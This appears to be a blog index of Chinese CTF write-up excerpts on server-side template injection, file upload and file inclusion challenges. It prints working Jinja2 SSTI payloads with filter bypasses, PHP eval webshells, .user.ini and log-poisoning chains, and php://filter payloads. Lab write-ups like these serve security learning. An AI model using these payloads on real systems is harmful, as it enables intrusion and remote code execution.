SSTI刷题2
SSTI刷题2 edited by twi1igh7 [NewStarCTF 2023 公开赛道]GenShin手搓抓包,信息搜集找到路径/secr3tofpop 访问后发现参数是name 我们目标的payload是 1{{cycler.__init__.__globals__["os"].popen("ls ../").read()}} 经过测试lipsum、popen、{{}}、init {{}}换成{%print()%} __init__我们改成["__ini"%2B"t__"] popen改成["pop"%2B"en"] 这样payload就变成了 1{%print(cycler["__ini"%2B"t__"].__globals__["os&qu...
SSTI学习3
SSTI学习3 edited by twi1igh7 web369手搓经过测试过滤了{{}}、''、""、_、os 居然没有过滤. 那么只有用{%set%}来绕过了 传入 1?name={%print(lipsum|string|list)%} 可以看到有很多可以利用的字符 先将pop换成字符串 1{%set pop=dict(pop=a)|join%} 先来替换空格 1{%set kong=(lipsum|string|list).pop(9)%} 再来替换下划线 1{%set xia=(lipsum|string|list).pop(18)%} 再来替换斜线 1{%set xie=(config|string|list).pop(279)%} 这时候基本元素差不多齐全了,我们开始整体替换,先来看看我们的目标payload 1?name={%print((li...
SSTI刷题1
[HNCTF 2022 WEEK2]ez_SSTI手搓这道题参数是name(看别人wp得知的😂),首先传入?name={{7*7}} 下面构造payload 1?name={{lipsum.__globals__['os'].popen('ls').read()}} 啥过滤都没有,直接读就行 1?name={{lipsum.__globals__['os'].popen('tac flag').read()}} 工具一把梭久闻fenjing大名,这里嗦一下试试,也是很快就出了(当然现在是agent时代,比工具还快了,但是平时练习我就不用了,省点token) [安洵杯 2020]Normal SSTI手搓这道题黑名单挺多的,这里借用一下别的师傅的fuzz结果(我还没找到好的ssti-fuzz字典/(ㄒoㄒ)/~~) 1[' ',...
SSTI学习2
SSTI学习2 edited by twi1igh7 web363这道题过滤了单双引号,我们用request.args.a,然后给a赋值来绕过 我们先来看看我们想要构造什么payload 1?name={{lipsum.__globals__["os"].popen('ls ../').read()}} 但是现在单双引号都被ban了,["os"]可以换成[request.args.a1],然后GET传入a1=os,popen('ls ../')可以换成[request.args.a2]然后GET传入a2=ls%20../ 替换后的payload就是 1?name={{lipsum.__globals__[request.args.a1].popen(request.args.a2).read()}}&a1=os&a2=tac%20../flag 小结request请求常见...
SSTI学习 web361-362
SSTI学习 edited by twi1igh7 web361GET传参?name={{7*7}}发现回显49,说明有SSTI注入点 按照找基类->找包含危险模块的子类->构造payload读flag 找基类首先我们找基类 有三种写法 基类11?name={{''.__class__.__base__}} 基类21?name={{''.__class__.__bases__[0]}} 基类31?name={{''.__class__.__mro__[-1]}} 以上三种方法都可以找到我们想要的基类object 找可利用的子类这里可以手动找(虽然有点不太现实),在我们上一步的基础上加上__subclasses__ 1?name={{''.__class__.__mro__[-1].__subclas...
文件上传刷题1
文件上传刷题1 edited by twi1igh7 [SWPUCTF 2021 新生赛]include 随便传一个?file=1,得到源码 伪协议读取?file=php://filter/read=convert.base64-encode/resource=flag.php 解码后得到flag 这里标签不是文件上传吗,怎么做成文件包含了😂 [SWPUCTF 2021 新生赛]easyupload2.0这道题我们上传shell.php失败 1<?php @eval($_POST['cmd']);?> 显示是php不行,可能是过滤掉php了 我们先换成短标签 1<?=@eval($_POST['cmd']);?> 还是显示php不行,那就是后缀名的原因了 我们换成phtml再上传就行了,然后蚁剑连接即可找到flag 小结php3,php5,pht,phtml,phps都是php可运行的文件扩展名 [SWPUCTF 2021 新生赛]easyupload1.0上传shell.php被拦下来了,前端没有...
文件上传学习 web160-167
文件上传学习2 edited by twi1igh7 web160这道题也是有点奇怪,明明是内容被过滤了,结果给我显示上传文件文件类型不合规 这道题应该是把空格和反引号都ban了,那之前的打法都out了,看了wp,发现可以用日志包含(和文件包含联动了hh) 我们先写.user.ini 1auto_prepend=shell.png nginx的日志文件在/var/log/nginx/access.log下,然后再写图片马 1<?=include"/var/l"."og/nginx/access.l"."og"?> 最后我们需要修改UA头来访问一次,让服务器记住我们的UA头: 1<?php @eval($_POST['cmd']);?> 最后蚁剑连接即可 小结这里逻辑跨度可能有点大,重新梳理一下攻击链:我们先用修改后的UA访问一次,服务器记录了我们的UA->我们访问/var/www/html/upload目录->系统会自动解析.user.ini->...
文件上传学习 web151-159
文件上传学习 edited by twi1igh7 web151这里尝试了一下只能上传png图片,连jpg都不行 F12查看,找到前端限制的代码,将png改成php就行 这时候上传我们写的一句话木马 1<?php @eval($_POST['cmd']);?> 然后蚁剑连接,在html目录下找到flag.php web152这道题我们用上题的打法,发现后端有检测 用bp抓包,改content-type 蚁剑连接即可 小结引自ctfshow-web 151-170-文件上传 - 技术栈 web153还是用上一道题的打法,但是发现php文件上传不过去了,应该是有过滤。这道题考的是nginx下的.user.ini配置文件。我们上传的文件在var/www/html/upload目录下,我们先上传图片木马,然后再上传写好的.user.ini 1234#.user.iniauto_prepend_file=shell.png#或者填auto_append_file=shell.png 这里需要注意.user.ini必须访问其目录下一个ph...
文件包含学习 web87、88、116、117
文件包含学习 web87、88、116、117 edited by twi1igh7 web87先看源码,过滤了php、data、:、.,显然是为了防止我们用78-81使用的伪协议以及日志注入 审计代码,我们可以发现这道题是用GET传入file参数,然后POST传入content写入file文件。通过控制file参数我们可以控制写入文件的路径,通过控制content参数我们可以控制写入文件的内容。 这道题的难点在于,我们写入shell会被前面的die函数给截断,主要任务就是打乱前面的die函数 Payload1我们传入?file=php://filter/write/convert.base64-decode/resource=shell.php,当然我们需要经过两层url-encode,GET传入一层,urldecode还有一层 12GET传入:?file=%2570%2568%2570%253a%252f%252ffilter%252fwrite%253dconvert%252ebase64-decode%252fresource%253dshell%252e%2570...
文件包含学习 web78-81
文件包含学习 web78-81 edited by twi1igh7 web78先看源码 有include函数,文件包含,打法很多 Payload1GET传参 1?file=php://filter/read=convert.Base64-encode/resource=flag.php Execute后得到Base64编码字符串PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3tiZTE1NmZ...